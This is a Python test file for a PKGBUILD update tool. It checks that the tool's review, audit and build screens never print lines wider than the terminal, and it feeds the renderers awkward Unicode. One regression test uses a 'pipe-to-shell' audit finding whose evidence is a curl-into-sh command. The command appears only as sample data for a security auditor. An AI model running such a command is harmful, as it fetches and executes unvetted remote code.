git/orchard/main
tests/test_widths.py
309 lines11 KB last change raw · history
"""The width invariant, across the layout and every renderer.

Every line this tool prints has to fit the terminal. A line that is even one
cell too wide does not merely look wrong: the terminal wraps it, which pushes
every row below out of alignment and makes the whole screen unreadable.

This used to be broken in a way that was invisible on a wide terminal.
`Columns.for_width` inflated the width up to a 64-column floor, so on a
40-column terminal every Row believed it had 64 cells, produced 62-cell lines,
and the terminal wrapped all of them. The Go front end had the identical bug for
the identical reason.

The content is adversarial on purpose: a PKGBUILD can put arbitrary text into a
description, a source URL or an evidence line, and cell widths for emoji, ZWJ
sequences and combining marks do not match codepoint counts.
"""

from __future__ import annotations

import sys
from pathlib import Path

sys.path.insert(0, str(Path(__file__).resolve().parent.parent))

from updater.audit import Finding, Report, SemanticDiff, SetDiff, Severity  # noqa: E402
from updater.buildgraph import build_graph  # noqa: E402
from updater.icons import glyphs  # noqa: E402
from updater.layout import Grid, Overflow, clip  # noqa: E402
from updater.live import BuildState  # noqa: E402
from updater.render import audit as render_audit  # noqa: E402
from updater.render import build as render_build  # noqa: E402
from updater.render import review as render_review  # noqa: E402
from updater.render.base import MIN_WIDTH, Columns  # noqa: E402
from updater.srcinfo import SrcInfo  # noqa: E402
from updater.theme import Theme  # noqa: E402

THEME = Theme.default()
GLYPHS = glyphs("unicode")

#: widths worth exercising: absurdly narrow, the old floor, and comfortable
WIDTHS = (20, 30, 40, 60, 63, 64, 65, 80, 100, 120, 200)

UGLY = [
    "日本語のパッケージ説明",
    "🎉🚀 emoji in a description",
    "combining: e\u0301\u0301\u0301\u0301",
    "zero\u200bwidth\u200bspaces",
    "RTL \u202eoverride\u202c text",
    "👨‍👩‍👧‍👦 family zwj",
    "🏳️‍🌈 flag",
    "ff ligature",
    "x" * 400,
    "",
    "tab\there",
    "\x1b[31mraw escape\x1b[0m",
]


def check(lines, width: int, label: str) -> list[str]:
    bad = []
    for i, line in enumerate(lines):
        cells = line.cell_len if hasattr(line, "cell_len") else len(str(line))
        if cells > width:
            bad.append(
                f"{label} width={width} line {i}: {cells} cells, "
                f"{cells - width} over: {str(line)[:60]!r}"
            )
    return bad


# --------------------------------------------------------------------------
# the primitives
# --------------------------------------------------------------------------


def test_for_width_never_reports_a_width_wider_than_the_terminal():
    """The regression: this used to return MIN_WIDTH for anything narrower."""
    for width in WIDTHS:
        cols = Columns.for_width(width)
        assert cols.width <= max(width, 20), f"for_width({width}) reported {cols.width}"


def test_columns_never_place_content_past_the_edge():
    for width in WIDTHS:
        cols = Columns.for_width(width)
        for name in ("ver", "note", "feed_ver", "feed_note"):
            at = getattr(cols, name)
            assert 0 <= at <= cols.width, f"width={width}: {name}={at}"


def test_the_grid_floor_still_protects_a_narrow_layout():
    """The floor exists so columns do not collapse; it must not vanish."""
    narrow = Columns.for_width(20)
    assert narrow.grid == MIN_WIDTH
    # and the columns stay distinct from each other at a usable width
    cols = Columns.for_width(100)
    assert cols.ver < cols.note


def test_rows_cannot_overflow_the_grid():
    for width in WIDTHS:
        grid = Grid(width=width)
        for text in UGLY:
            for shape in ("span", "span_right", "chain", "fill", "right_only"):
                try:
                    row = grid.row()
                    if shape == "span":
                        row.span(text)
                    elif shape == "span_right":
                        row.span(text).right(text)
                    elif shape == "chain":
                        row.span(text).to(width // 2, minimum=0).span(text).right(text)
                    elif shape == "fill":
                        row.span(text).fill()
                    else:
                        row.right(text).right(text, col=width - 1)
                    line = row.done()
                except Overflow as exc:
                    raise AssertionError(
                        f"width={width} {shape} {text[:20]!r} overflowed: {exc}"
                    ) from exc
                assert line.cell_len <= width, (
                    f"width={width} {shape} {text[:20]!r}: {line.cell_len} cells"
                )


def test_clip_respects_its_budget():
    for limit in (0, 1, 2, 3, 5, 20, 50, 200):
        for text in UGLY:
            out = clip(text, limit)
            from rich.cells import cell_len

            assert cell_len(out) <= max(0, limit), (
                f"clip({text[:16]!r}, {limit}) -> {out!r} is {cell_len(out)} cells"
            )


def test_clip_leaves_short_text_alone():
    assert clip("linux", 20) == "linux"
    assert clip("", 10) == ""
    assert clip("linux", 0) == ""


# --------------------------------------------------------------------------
# the renderers
# --------------------------------------------------------------------------


def test_the_review_screen_fits_every_width():
    problems = []
    for width in WIDTHS:
        for text in UGLY:
            review = render_review.Review(
                meta=text,
                repo=[render_review.RepoRow(tag="U", name=text, old=text, new=text, size=text)],
                aur=[
                    render_review.AurRow(
                        tag="!!", name=text, old=text, new=text, note=text, details=[text]
                    )
                ],
                vcs=[render_review.VcsRow(name=text, old=text, new=text)],
                checks=[render_review.CheckRow(ok=False, label=text, detail=text)],
                steps=[render_review.Step(index="1", command=text, detail=text)],
            )
            for dry_run in (True, False):
                problems += check(
                    render_review.build(
                        review, theme=THEME, glyphs=GLYPHS, width=width, dry_run=dry_run
                    ),
                    width,
                    f"review dry={dry_run}",
                )
    assert not problems, "\n".join(problems[:12])


def test_the_audit_screen_fits_every_width():
    problems = []
    for width in WIDTHS:
        for text in UGLY:
            report = Report(
                package=text,
                findings=[
                    Finding(rule=text, severity=Severity.BLOCK, title=text, evidence=text),
                    Finding(
                        rule=text, severity=Severity.LOOK, title=text, evidence=text, where=text
                    ),
                ],
                diff=SemanticDiff(
                    pkgver=(text, text),
                    source=SetDiff(added=[text], removed=[text]),
                    sums=SetDiff(added=[text]),
                    funcs_added=[text],
                    funcs_removed=[text],
                    funcs_changed=[text],
                    lines_added=3,
                    lines_removed=2,
                ),
            )
            for baseline in (True, False):
                problems += check(
                    render_audit.build(
                        report,
                        theme=THEME,
                        glyphs=GLYPHS,
                        width=width,
                        title=text,
                        old_text=text,
                        new_text=text,
                        baseline=baseline,
                    ),
                    width,
                    f"audit baseline={baseline}",
                )
    assert not problems, "\n".join(problems[:12])


def test_the_build_dashboard_fits_every_width():
    graph = build_graph(
        {
            name: SrcInfo(
                pkgbase=name, pkgver="1", pkgrel="1", depends=(["a"] if name != "a" else [])
            )
            for name in ("a", "b", "c")
        },
        {"a", "b", "c"},
    )
    problems = []
    for width in WIDTHS:
        for text in UGLY:
            state = BuildState(package=text, phase=text, elapsed=12.5, jobs=3)
            feed = [
                render_build.FeedEntry(
                    name=text, version=text, elapsed=3.0, state="done", shared=True, note=text
                )
            ]
            for dashboard in (True, False):
                try:
                    lines = render_build.build(
                        graph=graph,
                        theme=THEME,
                        glyphs=GLYPHS,
                        width=width,
                        feed=feed,
                        states=[state],
                        completed={"a"},
                        running={"b"},
                        failed=set(),
                        totals=render_build.Totals(
                            total=3,
                            elapsed=9.0,
                            eta=1.0,
                            download_bytes=1024,
                            download_rate=512.0,
                            download_remaining=0,
                            download_eta=0.0,
                        ),
                        parallelism=text,
                        dashboard=dashboard,
                    )
                except Exception as exc:  # noqa: BLE001
                    problems.append(
                        f"build width={width} dashboard={dashboard} "
                        f"{text[:16]!r} raised {type(exc).__name__}: {exc}"
                    )
                    continue
                problems += check(lines, width, f"build dashboard={dashboard}")
    assert not problems, "\n".join(problems[:12])


def test_a_narrow_terminal_does_not_wrap_the_audit_screen():
    """The specific shape of the original bug, kept as a named regression test."""
    report = Report(
        package="enca-bin",
        findings=[
            Finding(
                rule="pipe-to-shell",
                severity=Severity.BLOCK,
                title="pipes a download into a shell",
                evidence="curl https://example.invalid/x | sh",
            )
        ],
        diff=SemanticDiff(source=SetDiff(added=["https://example.invalid/x"])),
    )
    for width in (40, 50, 60):
        lines = render_audit.build(
            report, theme=THEME, glyphs=GLYPHS, width=width, title="enca-bin", baseline=False
        )
        worst = max(line.cell_len for line in lines)
        assert worst <= width, f"width={width} produced a {worst}-cell line"


def main() -> int:
    tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
    failed = 0
    for name, fn in tests:
        try:
            fn()
        except Exception as exc:  # noqa: BLE001
            failed += 1
            print(f"FAIL  {name}\n        {type(exc).__name__}: {exc}")
        else:
            print(f"ok    {name}")
    print(f"\n{len(tests) - failed}/{len(tests)} passed")
    return 1 if failed else 0


if __name__ == "__main__":
    raise SystemExit(main())